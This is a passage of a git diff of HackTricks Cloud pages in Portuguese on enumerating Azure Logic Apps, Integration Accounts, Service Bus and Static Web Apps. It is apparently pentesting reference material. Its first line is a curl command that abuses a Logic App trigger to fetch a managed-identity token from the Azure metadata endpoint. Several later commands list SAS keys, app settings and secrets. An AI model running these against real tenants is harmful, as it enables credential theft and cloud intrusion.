curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||||
```
|
```
|
||||||
|
### Opções de hospedagem
|
||||||
|
|
||||||
|
Existem várias opções de hospedagem:
|
||||||
|
|
||||||
|
* **Consumo**
|
||||||
|
- **Multi-tenant**: fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços por operação. Isso é ideal para cargas de trabalho leves e econômicas.
|
||||||
|
* **Padrão**
|
||||||
|
- **Workflow Service Plan**: recursos de computação dedicados com integração VNET para rede e cobranças por instância do plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle.
|
||||||
|
- **App Service Environment V3** recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias do App Service dentro do ambiente. Isso é ideal para aplicações em escala empresarial que necessitam de alto isolamento.
|
||||||
|
- **Híbrido** projetado para processamento local e suporte a múltiplas nuvens. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA).
|
||||||
|
|
||||||
### Enumeração
|
### Enumeração
|
||||||
|
|
||||||
{{#tabs }}
|
{% tabs %}
|
||||||
{{#tab name="az cli" }}
|
{% tab title="az cli" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
# List
|
# List
|
||||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
az logic workflow list --resource-group <ResourceGroupName>
|
||||||
# Get info
|
# Get info
|
||||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||||
# Get Logic App config
|
|
||||||
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
|
||||||
# Get service ppal used
|
|
||||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
|
||||||
```
|
|
||||||
{{#endtab }}
|
|
||||||
|
|
||||||
{{#tab name="Az PowerSHell" }}
|
# Get details of a specific Logic App workflow, including its connections and parameters
|
||||||
|
az rest \
|
||||||
|
--method GET \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
|
||||||
|
--headers "Content-Type=application/json"
|
||||||
|
|
||||||
|
# Get details about triggers for a specific Logic App
|
||||||
|
az rest --method GET \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
|
||||||
|
|
||||||
|
# Get the callback URL for a specific trigger in a Logic App
|
||||||
|
az rest --method POST \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
|
||||||
|
|
||||||
|
# Get the history of a specific trigger in a Logic App
|
||||||
|
az rest --method GET \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
|
||||||
|
|
||||||
|
# List all runs of a specific Logic App workflow
|
||||||
|
az rest \
|
||||||
|
--method GET \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
|
||||||
|
--headers "Content-Type=application/json"
|
||||||
|
|
||||||
|
# Get all actions within a specific run of a Logic App workflow
|
||||||
|
az rest \
|
||||||
|
--method GET \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
|
||||||
|
--headers "Content-Type=application/json"
|
||||||
|
|
||||||
|
# List all versions of a specific Logic App workflow
|
||||||
|
az rest \
|
||||||
|
--method GET \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
|
||||||
|
--headers "Content-Type=application/json"
|
||||||
|
|
||||||
|
# Get details of a specific version of a Logic App workflow
|
||||||
|
az rest \
|
||||||
|
--method GET \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
|
||||||
|
--headers "Content-Type=application/json"
|
||||||
|
|
||||||
|
az rest \
|
||||||
|
--method GET \
|
||||||
|
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
|
||||||
|
--headers "Content-Type=application/json"
|
||||||
|
|
||||||
|
# List all Logic Apps in the specified resource group
|
||||||
|
az logicapp list --resource-group <ResourceGroupName>
|
||||||
|
|
||||||
|
# Show detailed information about a specific Logic App
|
||||||
|
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||||
|
|
||||||
|
# List all application settings for a specific Logic App
|
||||||
|
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="Az PowerShell" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
Get-Command -Module Az.LogicApp
|
||||||
|
|
||||||
# List
|
# List
|
||||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||||
# Get info
|
# Get info
|
||||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||||
# Get Logic App config
|
|
||||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
|
|
||||||
# Get service ppal used
|
|
||||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
|
||||||
```
|
|
||||||
{{#endtab }}
|
|
||||||
{{#endtabs }}
|
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
# Get details of a specific Logic App workflow run action
|
||||||
|
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
|
||||||
|
|
||||||
|
# Get the run history for a specific Logic App
|
||||||
|
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||||
|
|
||||||
|
# Get details about triggers for a specific Logic App
|
||||||
|
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||||
|
|
||||||
|
# Get the callback URL for a specific trigger in a Logic App
|
||||||
|
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||||
|
|
||||||
|
# Get the history of a specific trigger in a Logic App
|
||||||
|
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||||
|
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Contas de Integração
|
||||||
|
**Contas de Integração** são um recurso do Azure Logic Apps. As Contas de Integração são usadas para facilitar integrações em nível empresarial, permitindo capacidades avançadas de B2B, como EDI, AS2 e gerenciamento de esquemas XML. As Contas de Integração são um contêiner no Azure que armazena os seguintes artefatos usados para Logic Apps:
|
||||||
|
|
||||||
|
* Esquemas: Gerenciar esquemas XML para validar e processar mensagens em sua conta de integração.
|
||||||
|
* Mapas: Configurar transformações baseadas em XSLT para converter formatos de dados dentro de seus fluxos de trabalho de integração.
|
||||||
|
* Assemblies: Gerenciar assemblies da conta de integração para otimizar a lógica e o processamento de dados.
|
||||||
|
* Certificados: Lidar com certificados para criptografar e assinar mensagens, garantindo comunicação segura.
|
||||||
|
* Parceiros: Gerenciar informações de parceiros comerciais para transações B2B, permitindo integrações sem costura.
|
||||||
|
* Acordos: Configurar regras e configurações para troca de dados com parceiros comerciais (por exemplo, EDI, AS2).
|
||||||
|
* Configurações de Lote: Gerenciar configurações de processamento em lote para agrupar e processar mensagens de forma eficiente.
|
||||||
|
* RosettaNet PIP: Configurar Processos de Interface de Parceiro RosettaNet (PIPs) para padronizar a comunicação B2B.
|
||||||
|
|
||||||
|
#### Enumeração
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="az cli" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
# Integration account
|
||||||
|
az logic integration-account list --resource-group <resource-group-name>
|
||||||
|
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
|
||||||
|
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
|
||||||
|
|
||||||
|
# Batch-configuration
|
||||||
|
az logic integration-account batch-configuration list \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account-name <integration-account-name>
|
||||||
|
|
||||||
|
az logic integration-account batch-configuration show \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account-name <integration-account-name> \
|
||||||
|
--batch-configuration-name <batch-configuration-name>
|
||||||
|
|
||||||
|
# Map
|
||||||
|
az logic integration-account map list \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name>
|
||||||
|
|
||||||
|
az logic integration-account map show \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name> \
|
||||||
|
--map-name <map-name>
|
||||||
|
|
||||||
|
# Partner
|
||||||
|
az logic integration-account partner list \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name>
|
||||||
|
|
||||||
|
az logic integration-account partner show \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name> \
|
||||||
|
--name <partner-name>
|
||||||
|
|
||||||
|
# Session
|
||||||
|
az logic integration-account session list \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name>
|
||||||
|
|
||||||
|
az logic integration-account session show \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name> \
|
||||||
|
--name <session-name>
|
||||||
|
|
||||||
|
# Assembly
|
||||||
|
# Session
|
||||||
|
az logic integration-account assembly list \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name>
|
||||||
|
|
||||||
|
az logic integration-account assembly show \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--integration-account <integration-account-name> \
|
||||||
|
--assembly-artifact-name <assembly-name>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="Az PowerShell" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```powershell
|
||||||
|
Get-Command -Module Az.LogicApp
|
||||||
|
|
||||||
|
# Retrieve details of an integration account
|
||||||
|
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
|
||||||
|
|
||||||
|
# Retrieve the callback URL of an integration account
|
||||||
|
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
|
||||||
|
|
||||||
|
# Retrieve details of a specific agreement in an integration account
|
||||||
|
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
|
||||||
|
|
||||||
|
# Retrieve details of a specific assembly in an integration account
|
||||||
|
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
|
||||||
|
|
||||||
|
# Retrieve details of a specific batch configuration in an integration account
|
||||||
|
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
|
||||||
|
|
||||||
|
# Retrieve details of a specific certificate in an integration account
|
||||||
|
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
|
||||||
|
|
||||||
|
# Retrieve details of a specific map in an integration account
|
||||||
|
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
|
||||||
|
|
||||||
|
# Retrieve details of a specific partner in an integration account
|
||||||
|
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
|
||||||
|
|
||||||
|
# Retrieve details of a specific schema in an integration account
|
||||||
|
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
|
||||||
|
## Escalação de Privilégios
|
||||||
|
|
||||||
|
Mesma coisa que privesc de aplicativos lógicos:
|
||||||
|
|
||||||
|
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||||
|
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Pós Exploração
|
||||||
|
|
||||||
|
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||||
|
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|||||||
@@ -16,19 +16,19 @@ Azure Service Bus é um **serviço de mensagens** baseado em nuvem projetado par
|
|||||||
- Múltiplas assinaturas independentes recebem cópias das mensagens.
|
- Múltiplas assinaturas independentes recebem cópias das mensagens.
|
||||||
- As assinaturas podem ter regras/filtros para controlar a entrega ou adicionar metadados.
|
- As assinaturas podem ter regras/filtros para controlar a entrega ou adicionar metadados.
|
||||||
- Suporta comunicação muitos-para-muitos.
|
- Suporta comunicação muitos-para-muitos.
|
||||||
3. **Namespaces:** Um contêiner para todos os componentes de mensagens, filas e tópicos, é como sua própria parte de um poderoso cluster Azure, fornecendo capacidade dedicada e, opcionalmente, abrangendo três zonas de disponibilidade.
|
3. **Namespaces:** Um contêiner para todos os componentes de mensagens, filas e tópicos, é como sua própria fatia de um poderoso cluster Azure, fornecendo capacidade dedicada e, opcionalmente, abrangendo três zonas de disponibilidade.
|
||||||
|
|
||||||
### Recursos Avançados
|
### Recursos Avançados
|
||||||
|
|
||||||
Alguns recursos avançados são:
|
Alguns recursos avançados são:
|
||||||
|
|
||||||
- **Sessões de Mensagens**: Garante processamento FIFO e suporta padrões de solicitação-resposta.
|
- **Sessões de Mensagens**: Garante processamento FIFO e suporta padrões de solicitação-resposta.
|
||||||
- **Auto-Encaminhamento**: Transfere mensagens entre filas ou tópicos no mesmo namespace.
|
- **Encaminhamento Automático**: Transfere mensagens entre filas ou tópicos no mesmo namespace.
|
||||||
- **Dead-Lettering**: Captura mensagens não entregáveis para revisão.
|
- **Dead-Lettering**: Captura mensagens não entregáveis para revisão.
|
||||||
- **Entrega Programada**: Retarda o processamento de mensagens para tarefas futuras.
|
- **Entrega Programada**: Retarda o processamento de mensagens para tarefas futuras.
|
||||||
- **Atraso de Mensagens**: Adia a recuperação de mensagens até que esteja pronto.
|
- **Atraso de Mensagens**: Adia a recuperação de mensagens até que esteja pronto.
|
||||||
- **Transações**: Agrupa operações em execução atômica.
|
- **Transações**: Agrupa operações em execução atômica.
|
||||||
- **Filtros & Ações**: Aplica regras para filtrar ou anotar mensagens.
|
- **Filtros e Ações**: Aplica regras para filtrar ou anotar mensagens.
|
||||||
- **Auto-Exclusão em Inatividade**: Exclui filas após inatividade (mínimo: 5 minutos).
|
- **Auto-Exclusão em Inatividade**: Exclui filas após inatividade (mínimo: 5 minutos).
|
||||||
- **Detecção de Duplicatas**: Remove mensagens duplicadas durante reenvios.
|
- **Detecção de Duplicatas**: Remove mensagens duplicadas durante reenvios.
|
||||||
- **Exclusão em Lote**: Exclui em massa mensagens expiradas ou desnecessárias.
|
- **Exclusão em Lote**: Exclui em massa mensagens expiradas ou desnecessárias.
|
||||||
@@ -41,8 +41,8 @@ As Políticas SAS definem as permissões de acesso para entidades do Azure Servi
|
|||||||
- Gerenciar: Concede controle total sobre a entidade, incluindo configuração e gerenciamento de permissões.
|
- Gerenciar: Concede controle total sobre a entidade, incluindo configuração e gerenciamento de permissões.
|
||||||
- Enviar: Permite enviar mensagens para a entidade.
|
- Enviar: Permite enviar mensagens para a entidade.
|
||||||
- Ouvir: Permite receber mensagens da entidade.
|
- Ouvir: Permite receber mensagens da entidade.
|
||||||
- **Chaves Primárias e Secundárias**: Estas são chaves criptográficas usadas para gerar tokens seguros para autenticar o acesso.
|
- **Chaves Primária e Secundária**: Estas são chaves criptográficas usadas para gerar tokens seguros para autenticar o acesso.
|
||||||
- **Strings de Conexão Primárias e Secundárias**: Strings de conexão pré-configuradas que incluem o endpoint e a chave para fácil uso em aplicações.
|
- **Strings de Conexão Primária e Secundária**: Strings de conexão pré-configuradas que incluem o endpoint e a chave para fácil uso em aplicações.
|
||||||
- **ID da Política SAS ARM**: O caminho do Azure Resource Manager (ARM) para a política para identificação programática.
|
- **ID da Política SAS ARM**: O caminho do Azure Resource Manager (ARM) para a política para identificação programática.
|
||||||
|
|
||||||
### Namespace
|
### Namespace
|
||||||
@@ -50,6 +50,10 @@ As Políticas SAS definem as permissões de acesso para entidades do Azure Servi
|
|||||||
sku, regra de autorização,
|
sku, regra de autorização,
|
||||||
|
|
||||||
### Enumeração
|
### Enumeração
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="az cli" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
# Queue Enumeration
|
# Queue Enumeration
|
||||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||||
@@ -77,6 +81,58 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
|||||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="Az PowerShell" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```powershell
|
||||||
|
Get-Command -Module Az.ServiceBus
|
||||||
|
|
||||||
|
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
|
||||||
|
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
|
||||||
|
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
|
||||||
|
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
|
||||||
|
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
|
||||||
|
|
||||||
|
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
|
||||||
|
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves properties and details about a Service Bus namespace.
|
||||||
|
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
|
||||||
|
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves private endpoint connections for a Service Bus namespace.
|
||||||
|
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves private link resources associated with a Service Bus namespace.
|
||||||
|
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||||
|
|
||||||
|
# Retrieves details of a specified queue in a Service Bus namespace.
|
||||||
|
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
|
||||||
|
|
||||||
|
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
|
||||||
|
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
|
||||||
|
|
||||||
|
# Retrieves details of subscriptions for a specified Service Bus topic.
|
||||||
|
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
|
||||||
|
|
||||||
|
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||||
|
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
|
||||||
### Escalação de Privilégios
|
### Escalação de Privilégios
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ Azure Static Web Apps é um serviço de nuvem para hospedar **aplicativos web es
|
|||||||
|
|
||||||
É possível **configurar uma senha** para acessar o Aplicativo Web. O console web permite configurá-la para proteger apenas ambientes de staging ou tanto o staging quanto o de produção.
|
É possível **configurar uma senha** para acessar o Aplicativo Web. O console web permite configurá-la para proteger apenas ambientes de staging ou tanto o staging quanto o de produção.
|
||||||
|
|
||||||
É assim que, no momento da redação, um aplicativo web protegido por senha se parece:
|
É assim que, no momento da escrita, um aplicativo web protegido por senha se parece:
|
||||||
|
|
||||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@@ -69,13 +69,17 @@ Note como é possível **proteger um caminho com um papel**, então, os usuário
|
|||||||
|
|
||||||
A URL de staging tem este formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` como: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
A URL de staging tem este formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` como: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||||
|
|
||||||
### Managed Identities
|
### Identidades Gerenciadas
|
||||||
|
|
||||||
Azure Static Web Apps pode ser configurado para usar **managed identities**, no entanto, como mencionado nesta [FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), elas são suportadas apenas para **extrair segredos do Azure Key Vault para fins de autenticação, não para acessar outros recursos do Azure**.
|
Azure Static Web Apps pode ser configurado para usar **identidades gerenciadas**, no entanto, como mencionado nesta [FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), elas são suportadas apenas para **extrair segredos do Azure Key Vault para fins de autenticação, não para acessar outros recursos do Azure**.
|
||||||
|
|
||||||
Para mais informações, você pode encontrar um guia do Azure sobre como usar um segredo de cofre em um aplicativo estático em https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
|
Para mais informações, você pode encontrar um guia do Azure sobre como usar um segredo de cofre em um aplicativo estático em https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
|
||||||
|
|
||||||
## Enumeration
|
## Enumeração
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="az cli" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
# List Static Webapps
|
# List Static Webapps
|
||||||
az staticwebapp list --output table
|
az staticwebapp list --output table
|
||||||
@@ -107,9 +111,62 @@ az rest --method POST \
|
|||||||
# Check connected backends
|
# Check connected backends
|
||||||
az staticwebapp backends show --name <name> --resource-group <res-group>
|
az staticwebapp backends show --name <name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
## Exemplos para gerar Aplicativos Web
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
Você pode encontrar um bom exemplo para gerar um aplicativo web no seguinte link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
{% tab title="Az PowerShell" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```powershell
|
||||||
|
Get-Command -Module Az.Websites
|
||||||
|
|
||||||
|
# Retrieves details of a specific Static Web App in the specified resource group.
|
||||||
|
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves the build details for a specific Static Web App.
|
||||||
|
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves the application settings for a specific build environment in a Static Web App.
|
||||||
|
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||||
|
|
||||||
|
# Retrieves functions for a specific build environment in a Static Web App.
|
||||||
|
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||||
|
|
||||||
|
# Retrieves function app settings for a specific build environment in a Static Web App.
|
||||||
|
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||||
|
|
||||||
|
# Retrieves the configured roles for a Static Web App.
|
||||||
|
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves the custom domains configured for a Static Web App.
|
||||||
|
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves details of the functions associated with a Static Web App.
|
||||||
|
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves the app settings for the function app associated with a Static Web App.
|
||||||
|
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves the secrets for a Static Web App.
|
||||||
|
